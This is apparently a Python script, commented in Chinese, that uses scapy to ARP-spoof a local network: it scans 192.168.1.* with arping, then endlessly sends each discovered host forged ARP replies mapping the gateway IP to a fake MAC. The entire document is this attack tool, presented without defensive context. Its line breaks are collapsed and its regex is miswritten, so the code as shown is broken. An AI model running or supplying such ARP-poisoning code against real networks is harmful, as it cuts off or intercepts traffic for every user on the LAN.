#coding:utf-8'''arp欺騙局域網pc，將偽造的網關mac以網關的arp應答發送給pc'''from scapy.all import ARP,send,arpingimport sys,restdout=sys.stdoutIPADDR="192.168.1.*"gateway_ip='192.168.1.1'#偽造網關mac地址gateway_hw='00:11:22:33:44:55'p=ARP(op = 2,hwsrc = gateway_hw,psrc = gateway_ip)def arp_hack(ip,hw):  #偽造來自網關的arp應答  t=p  t.hwdst=hw  t.pdst=ip  send(t)def get_host():  #得到在線主機的mac地址和對應ip地址   hw_ip = {}  sys.stdout = open('host.info','w')  arping(IPADDR)  sys.stdout = stdout  f = open('host.info','r')  info = f.readlines()  f.close  del info[0]  del info[0]  for host in info :    temp = re.split(r'/s+',host)    hw_ip[temp[1]] = temp[2]  return hw_ipif __name__ == "__main__":  hw_ip = get_host()  while 1 :    for i in hw_ip :      arp_hack(hw=i,ip=hw_ip[i])